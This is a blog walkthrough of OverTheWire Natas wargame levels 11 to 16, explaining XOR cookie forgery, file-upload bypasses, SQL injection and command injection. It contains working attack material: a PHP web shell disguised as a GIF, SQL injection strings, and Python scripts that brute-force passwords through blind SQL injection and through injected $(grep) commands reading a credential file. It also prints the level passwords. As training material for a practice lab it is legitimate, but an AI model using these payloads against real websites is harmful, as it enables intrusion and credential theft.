Overthewire Natas Walkthrough Level 11 to 16

Olivier
Olivier

A walkthrough for level 11 to level 16 of Natas Overthewire challenges

Introduction

  • This post is the second in the series, http://ideaio.ch/posts/overthewire_natas_walkthrough.html contains the first.
  • The difficulty level really increases from level 10 upwards. The levels need more time to solve and some dedicated thinking.
  • This post will be updated with newer levels as soon as I solve them.

Changelog

  • 09.12.2017: solved level 11 and 12.
  • 16.12.2017: solved level 13.
  • 22.12.2017: solved level 14.
  • 23.12.2017: solved level 15.
  • 08.12.2018: solved level 16.

Level 11

Natas 11

  • The site shows the hint that Cookies are protected with XOR encryption.
  • The PHP source code for the site is below.
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>
  • I used Firefox's developer tools and found out that the data cookie is set to: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D.
  • Using different background colors results in the same cookie that comes back. For examble the color: #aaaaaa sets the cookie data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSFlkrEBZZaAw%3D.
  • Changing the ?bgcolor parameter seems to have no effect on the cookie value.

In order to get the password we have to do two things:

  • Find out the encryption $key that is <censored> in the output above.
    • The parameters $in and $outText are known, $in is the bgcolor parameter we set in the form and $outText is the data cookies value.
  • Generate a new cookie with the JSON string "showpassword"="yes", "bgcolor"=>"#ffffff".

Reversing the XOR encrypt function

  • XOR is a logical operator (exclusive OR) that returns True if one, and only one, of two input values are True.

Natas 11 XOR Truth Table

  • The cool thing about XOR is that it is reversible. You just need to have any two of the three components. For example, it is easy to calculate the value for Input A in the table above by calculating Input B XOR Input A XOR Input B.

  • We can use a modified form of the xor_encrypt function in the PHP source code.

    • $key needs to be the known default value for $data.
    • $in needs to be the value of the data cookie.
<?php

function xor_encrypt($in) {
    $key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

$decoded = xor_encrypt(base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'));
print($decoded);
?>
  • Executing the PHP script we get:
$ php -f xor_decrypt.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq%  
  • The key seems to be qw8J repeating itself.
  • With the known key we can adjust the original script to generate a new cookie.
<?php

function xor_encrypt($in) {
    // replace <censored> with the actual key
    $key = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

// set the showpassword parameter to yes in $data
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$cookie = base64_encode(xor_encrypt(json_encode($data)));
print($cookie);
?>
  • Running the script shows the value for the data cookie:
$ php -f generate_cookie.php
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK    
  • The request to the natas11 site needs to be intercepted with Burp to set the new cookie data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK. After that the site shows the password for natas12.
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 

Level 12

Natas 12

  • The site shows an upload form that lets the user upload a JPEG file.
  • The PHP source code for the site is below:
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form> 
  • I created a simple JPEG file test.jpeg, it was uploaded to upload/lfxgde7wtj.jpg.
  • The trick seems to be to utilize the move_uploaded_file function to move the file /etc/natas_webpass/natas13 into the /upload folder.
    • The only input parameter for this is the filename parameter of the post request we sent to the website.
      • The filename parameter is set as an hidden input field in the form of the page. That means we can override it with anything we want.

Code analysis

Lets walk through the code to see how it works.

  • The function genRandomString places a hidden form attribute filename in the form.
  • The user selects a file for upload and clicks the Upload File button. The filename parameter is now set to the value generated from genRandomString.
  • The PHP script checks if the filename parameter is present in the post request.
    • If not, the script is done.
    • If yes, the script generates a random file path using the function makeRandomPathFromFilename with the two parameters upload and filename and assigns the return value to the variable $target_path.
      • makeRandomPathFromFilename extracts the file extension from filename and assigns that to $ext. It would assign jpg to $ext for the filename 2ujt7shd4p.jpg for example.
        • makeRandomPathFromFilename then calls the function makeRandomPath with the parameters upload as $dir and jpg as $ext.
          • makeRandomPath concatenates $dir, the output of the genRandomString() function and $ext together and returns it.
            • This ensures that the resulting filename is allways random. I tested this while calling the function genRandomString() multiple times with the same input value and the function returned different return values.
    • The script then checks if the filesize for the uploadedfile and tmp_name is smaller than 1000.
      • I don't get this. What exactly is in the $_FILES array?
        • Seems that $_FILES is a native PHP variable. According to http://php.net/manual/en/reserved.variables.files.php it holds an array of files that were uploaded via HTTP POST method.
        • uploadedfile is the original filename that was uploaded as seen in the HTML source code <input name="uploadedfile" type="file" /><br /.
        • tmp_name is still unclear to me. But lets move on, this is probably another PHP builtin variable.

Upload a PHP shell

From the code walk through we learn that the file extension is only initially set in the form as a hidden input parameter and not verified on any step in the code. That means we can intercept the request to the server, change the file extension to .php and upload a small PHP script to get access.

 <?  
 passthru($_GET['cmd']);  
 ?>  
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 

Lessons learned

  • One of the first things to try if there is a upload form is to upload native PHP files to get a shell.
  • I went down a big rabbit hole on this one. I tried to access the file /etc/natas_webpass/natas13 directly through a modified filename parameter. Of course that didn't work and I had to consult another walkthrough writeup to finally get the not to complicated solution. Honestly I was not expecting this to be a viable solution for the natas challenges and had kind of a blind spot.

Level 13

Natas 13

  • The site shows the hint For security reasons, we now only accept image files!.
  • The source code of the site is nearly the same as in Level 12 but checks if the exif_imagetype() function returns that the uploaded file is an image.
    else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image"; 

Upload a GIF PHP Image

  • The upload works the same as in level 12. Intercept the upload request with Burp, change the file extension to .php, proceed with the upload.
  • The signature for a .gif is: GIF87a. I added this signature to the header of the file.
GIF89a
<?  
    passthru($_GET['cmd']);  
?>  

Mini tutorial, testing the exif_imagetype() function locally

  • I used the following PHP snippet to test the exif_Imagetype() function on my local Linux machine.
<?php
    $options = getopt("f:");

    $filename = $options["f"];
    printf("Filename is: %s\n", $filename);

    if (! exif_imagetype($filename)){
        printf("File %s is not an image!\n", $filename);
    }
    else {
        printf("File %s is an image!\n", $filename);
    }
?>
  • The script can be run with:
$ php check_image.php -f image.php
Filename is: image.php
File image.php is an image!

Lessons learned

  • I already encountered this image upload filetype check bypass in another vulnerable VM from https://www.vulnhub.com/ so that was an easy challenge.
  • Initially I had some whitespace at the beginning of each line in the file. This caused the upload to fail with the error File is not an image multiple times.

Natas 14

Natas 14

  • The site shows a login form with a username and password field.
  • The source code for the site shows that the username and password fields are used directly in an SQL query and should therefore be vulnerable to SQL injection attacks.
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>"; 

SQL Injection

  • It is possible to set the debug GET parameter to something to return the exact query. That is what I did and for the input TEST' OR 1=1 -- SELECT * from users I got:
SELECT * from users where username="TEST' OR 1=1 -- SELECT * from users" and password=""
  • The SQL query needs to end with " and not '.
  • I adjusted my input from above to: "TEST' OR 1=1 -- SELECT * from users.
  • This worked and shows the password for the next level.
Executing query: SELECT * from users where username="TEST" OR 1=1 -- SELECT * from users" and password=""
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Lessons learned

  • Pay attention to the string enclosing characters like ' OR ".

Natas 15

Natas 15

  • The site shows a simple form to check the existence of a username.
  • A quick input with the username value set to test returns This user doesn't exist.
  • A quick input with the username value set to: TEST" OR 1=1 -- SELECT * from users returns: This user exists..

Code Analysis

<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 
  • The source code again looks like it is vulnerable to SQL injections.
  • It is again possible to set the GET parameter debug to see the actual SQL query.
  • The SQL query results however, are never returned to the visitor.

Blind SQL injection (brute force password)

  • I had to consult an external walkthrough on this one. Looks like this is a blind SQL injection type of attack.
  • It is only possible to send guesses to the application and retrieve True or False back.
  • That means we need to crack the password for natas16.
  • Checking the form with the username natas16 returns This user exists.
  • From the CREATE TABLE users statement in the commented-out section of the PHP source code we learn that the password has a maximum length of 64 characters.
  • From the PHP source code we learn that the database is MySQL and we can therefore use MySQL syntax.
  • Using the Username parameter natas16" AND password LIKE "% to submit the form returns This user exists.
    • This query should work to brute force the password.

Length of the password

  • It would be helpful to know how long the password is. For this we can use the MySQL CHAR_LENGTH() function.
    • Username parameter: natas16" AND CHAR_LENGTH(password) > 1 -- works and returns This user exists. There needs to be an extra whitespace at the end!
    • natas16" AND CHAR_LENGTH(password) > 32 -- is False, password is shorter than 32 characters.
    • natas16" AND CHAR_LENGTH(password) > 16 -- is True, password is longer than 16 characters.
    • natas16" AND CHAR_LENGTH(password) > 16 -- is True, password is longer than 16 characters.
    • natas16" AND CHAR_LENGTH(password) >= 24 -- is True , password is between 24 and 32 characters.
    • natas16" AND CHAR_LENGTH(password) >= 28 -- is True , password is between 28 and 32 characters.
    • natas16" AND CHAR_LENGTH(password) > 30 -- is True , password is between 31 and 32 characters.
    • natas16" AND CHAR_LENGTH(password) = 32 -- is True, password is 32 characters long.

Cracking the password

  • With the SQL LIKE query it is possible to crack the password. The password characters we saw from other Natas levels are: a-z, A-Z and 0-9.
    • To check for case-sensitive characters we need to use the BINARY LIKE query
  • After the first character is cracked, the second character can be cracked, and so on.

For this I created the little python script below.

#!/usr/bin/python

import requests

def password_like(password):
    """
    Check if the password contains the supplied string.
    """
    url = "http://natas15.natas.labs.overthewire.org/index.php"
    sql_inject_query = 'natas16" AND password LIKE BINARY "' + password + '%'

    payload = {'username': sql_inject_query}
    r = requests.post(url,
                      data=payload,
                      auth=('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'))
    if "This user doesn't exist" in r.text:
        return False
    else:
        print "Password is: " + password
        # print "Password length: " + str(len(password))
        return True


def main():
    """
    main function
    """
    possible_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    password=""

    while len(password) < 33:
        for c in possible_chars:
            if password_like(password+c):
                password = password + c
                continue

if __name__ == '__main__':
    main()

The script returns the output:

Password is: W
Password is: Wa
Password is: WaI
Password is: WaIH
Password is: WaIHE
Password is: WaIHEa
Password is: WaIHEac
Password is: WaIHEacj
Password is: WaIHEacj6
Password is: WaIHEacj63
Password is: WaIHEacj63w
Password is: WaIHEacj63wn
Password is: WaIHEacj63wnN
Password is: WaIHEacj63wnNI
Password is: WaIHEacj63wnNIB
Password is: WaIHEacj63wnNIBR
Password is: WaIHEacj63wnNIBRO
Password is: WaIHEacj63wnNIBROH
Password is: WaIHEacj63wnNIBROHe
Password is: WaIHEacj63wnNIBROHeq
Password is: WaIHEacj63wnNIBROHeqi
Password is: WaIHEacj63wnNIBROHeqi3
Password is: WaIHEacj63wnNIBROHeqi3p
Password is: WaIHEacj63wnNIBROHeqi3p9
Password is: WaIHEacj63wnNIBROHeqi3p9t
Password is: WaIHEacj63wnNIBROHeqi3p9t0
Password is: WaIHEacj63wnNIBROHeqi3p9t0m
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5n
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nh
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhm
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

So, the password for the next level is: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Lessons learned

  • Blind SQL injection attacks occur if we can sent a manipulated query and learn something about the result, for example weather the result is True or False like in the example above.
  • These type of injection helps to learn the actual result with many guesses.

Natas 16

Natas 16

The site shows a simple form to lookup words containing a string. The site filters out certain characters: For security reasons, we now filter even more on certain characters.

Source Code Analysis

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
  1. The code checks if the parameter needle is present in the request.
  2. It checks if one of the characters ;, | or & is present in the input string.
    1. If yes it aborts the script.
    2. It is still possible to execute shellcode, for example with $().
  3. It uses the input as a grep parameter.

Getting the password file

With the $() option as only option left to execute bash code it is not possible to get the content of the password file directly. However, it is possible to use contents of the password file and supply them as argument to grep and this can be used to guess contents of the password file and get feedback what guesses were correct.

The basic guessing flow would be like this:

  • Take a unique word from the dictionary for example Europeans.
  • Grep for this word and some string that is known from the password and a new character.
    • Start with an empty password in the beginning.
  • Check if the results page contains the word Europeans or not.
    • If yes the guess was not correct.
    • If no the guess was correct.

This guessing can be done with the script below:

#!/usr/bin/python

import requests

def password_like(password):
    """
    Check if the password contains the supplied string.
    """
    url = "http://natas16.natas.labs.overthewire.org/index.php"
    query = "Europeans$(grep ^%s /etc/natas_webpass/natas17)" % (password)
    payload = {'needle': query}
    r = requests.post(url,
                      data=payload,
                      auth=('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))

    if "Europeans" in r.text:
        return False
    else:
        return True


def main():
    """
    main function
    """
    possible_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    password=""

    for num in range (0,33):
        for char in possible_chars:
            if password_like(password + char):
                password = password + char
                print password


if __name__ == '__main__':
    main()

The script produced the output below:

8
8P
8Ps
8Ps3
8Ps3H
8Ps3H0
8Ps3H0G
8Ps3H0GW
8Ps3H0GWb
8Ps3H0GWbn
8Ps3H0GWbn5
8Ps3H0GWbn5r
8Ps3H0GWbn5rd
8Ps3H0GWbn5rd9
8Ps3H0GWbn5rd9S
8Ps3H0GWbn5rd9S7
8Ps3H0GWbn5rd9S7G
8Ps3H0GWbn5rd9S7Gm
8Ps3H0GWbn5rd9S7GmA
8Ps3H0GWbn5rd9S7GmAd
8Ps3H0GWbn5rd9S7GmAdg
8Ps3H0GWbn5rd9S7GmAdgQ
8Ps3H0GWbn5rd9S7GmAdgQN
8Ps3H0GWbn5rd9S7GmAdgQNd
8Ps3H0GWbn5rd9S7GmAdgQNdk
8Ps3H0GWbn5rd9S7GmAdgQNdkh
8Ps3H0GWbn5rd9S7GmAdgQNdkhP
8Ps3H0GWbn5rd9S7GmAdgQNdkhPk
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Therefore the password for level 17 is 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.

Lessons learned

  • This lesson is similar to lesson 15.
  • I came fairly quick to the conclusion that the a bash subcommand with $() could be used to execute shellcode.
  • For the actual guessing algorithm I investigated in the wrong direction and had to consult an external walkthrough to get a workable solution.